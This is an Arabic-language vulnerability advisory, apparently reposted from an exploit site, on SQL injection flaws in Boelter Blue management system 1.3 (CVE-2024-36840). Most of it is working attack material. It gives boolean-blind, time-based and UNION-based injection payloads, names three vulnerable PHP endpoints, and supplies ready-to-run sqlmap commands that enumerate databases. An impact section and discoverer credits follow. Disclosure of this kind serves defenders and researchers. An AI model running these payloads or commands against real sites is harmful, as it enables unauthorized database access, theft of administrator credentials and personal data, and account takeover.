تم تحديد ثغرات متعددة لحقن SQL في نظام إدارة Boelter Blue (الإصدار 1.3). تسمح هذه الثغرات للمهاجمين بحقن وتنفيذ أوامر SQL عشوائية عبر معاملات مختلفة. قد يؤدي الاستغلال الناجح إلى وصول غير مصرح به، وسرقة البيانات، واحتمال الاستيلاء على الحسابات.

المعاملات المتأثرة وتفاصيل الاستغلال:

1. المعامل: id (GET)

   • النوع: أعمى قائم على القيم المنطقية (Boolean-based blind)
   • الحمولة: id=10071 AND 4036=4036

2. النوع: أعمى قائم على الوقت (Time-based blind)

   • الحمولة: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)

3. النوع: استعلام UNION

   • الحمولة: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,...

نقاط النهاية المعرضة للخطر

1. news_details.php?id

   • مثال: https://www.example.com/news_details.php?id=10071
   • الاستغلال:
     root@kitploit:~

     sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs
     

2. services.php?section

   • مثال: https://www.example.com/services.php?section=5081
   • الاستغلال:
     root@kitploit:~

     sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs
     

3. location_details.php?id

   • مثال: https://www.example.com/location_details.php?id=836
   • الاستغلال:
     root@kitploit:~

     sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs
     

التأثير

• وصول غير مصرح به لقاعدة البيانات: يمكن أن يؤدي الاستغلال إلى وصول غير مصرح به لقاعدة البيانات، مما يسمح للمهاجمين باستخراج معلومات حساسة.
• تسرب البيانات: يمكن اختراق بيانات حساسة مثل بيانات اعتماد المسؤول، والمعلومات الشخصية للمستخدمين، وسجل المشتريات.
• الاستيلاء على الحسابات: يمكن للمهاجمين الاستيلاء على حسابات المستخدمين.
• التحكم الكامل: يمكن تحقيق تحكم كامل في التطبيق المتأثر، مما يؤدي إلى تداعيات أمنية خطيرة.

الاعتمادات

• المكتشفون: CBKB (DeadlyData, R4d1x)

المراجع

• تقرير ثغرة CyberDepot
• CVE-2024-36840